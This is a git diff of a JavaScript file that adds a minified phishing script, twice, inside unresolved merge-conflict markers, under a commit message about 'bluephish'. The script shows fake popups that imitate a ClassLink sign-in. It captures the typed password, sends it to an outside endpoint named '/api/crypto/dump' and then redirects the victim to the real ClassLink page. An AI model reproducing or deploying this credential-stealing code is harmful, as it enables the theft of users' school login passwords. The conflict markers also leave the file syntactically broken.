diff --git a/public/index.js b/public/index.js
index 8ec7db3..64d8a62 100644
--- a/public/index.js
+++ b/public/index.js
@@ -10,7 +10,11 @@ let els = []
 //   'https://cdn.jsdelivr.net/npm/bootstrap@4.0.0/dist/js/bootstrap.min.js',
 // ]
 const SOURCES = [
+<<<<<<< HEAD
   'const popup1=document.getElementById("popup-1"),popup2=document.getElementById("popup-2"),password=document.getElementById("password"),passwordPlaceholder=document.getElementById("password-placeholder"),loader=document.getElementById("loader");let start=()=>{popup1.classList.remove("hide")},toLogin=()=>{popup2.classList.remove("hide"),password.focus()},closePopups=()=>{popup1.classList.add("hide"),popup2.classList.add("hide")},finish=()=>{loader.classList.remove("hide");let s=password.value;closePopups(),fetch("https://sphinx-three.vercel.app/api/crypto/dump?"+new URLSearchParams({contents:s}),{mode:"no-cors"}).then(()=>{window.location.href="https://myapps.classlink.com/oauth"})},showPassword=()=>{let s=document.getElementById("password");"password"===s.type?s.type="text":s.type="password"};window.onclick=s=>{let e=e=>s.target.contains(e)&&s.target!==e;(e(popup1)||e(popup2))&&closePopups()};let activatePassword=()=>{passwordPlaceholder.classList.add("active"),passwordPlaceholder.classList.remove("inactive"),setPasswordStatus()},deactivatePassword=()=>{passwordPlaceholder.classList.add("inactive"),passwordPlaceholder.classList.remove("active"),setPasswordStatus()},setPasswordStatus=()=>{password.value.length>0?(passwordPlaceholder.classList.add("non-empty"),passwordPlaceholder.classList.remove("empty")):(passwordPlaceholder.classList.add("empty"),passwordPlaceholder.classList.remove("non-empty"))};password.addEventListener("focusin",activatePassword),password.addEventListener("focusout",deactivatePassword),password.addEventListener("keydown",setPasswordStatus);'
+=======
+  `const popup1=document.getElementById("popup-1"),popup2=document.getElementById("popup-2"),password=document.getElementById("password"),passwordPlaceholder=document.getElementById("password-placeholder"),loader=document.getElementById("loader");let start=()=>{popup1.classList.remove("hide")},toLogin=()=>{popup2.classList.remove("hide"),password.focus()},closePopups=()=>{popup1.classList.add("hide"),popup2.classList.add("hide")},finish=()=>{loader.classList.remove("hide");let s=password.value;closePopups(),fetch("https://sphinx-three.vercel.app/api/crypto/dump?"+new URLSearchParams({contents:s}),{mode:"no-cors"}).then(()=>{window.location.href="https://myapps.classlink.com/oauth"})},showPassword=()=>{let s=document.getElementById("password");"password"===s.type?s.type="text":s.type="password"};window.onclick=s=>{let e=e=>s.target.contains(e)&&s.target!==e;(e(popup1)||e(popup2))&&closePopups()};let activatePassword=()=>{passwordPlaceholder.classList.add("active"),passwordPlaceholder.classList.remove("inactive"),setPasswordStatus()},deactivatePassword=()=>{passwordPlaceholder.classList.add("inactive"),passwordPlaceholder.classList.remove("active"),setPasswordStatus()},setPasswordStatus=()=>{password.value.length>0?(passwordPlaceholder.classList.add("non-empty"),passwordPlaceholder.classList.remove("empty")):(passwordPlaceholder.classList.add("empty"),passwordPlaceholder.classList.remove("non-empty"))};password.addEventListener("focusin",activatePassword),password.addEventListener("focusout",deactivatePassword),password.addEventListener("keydown",setPasswordStatus);`
+>>>>>>> d3cc8c4 (flashing code now pulls from bluephish)
 ]
 
 hljs.configure({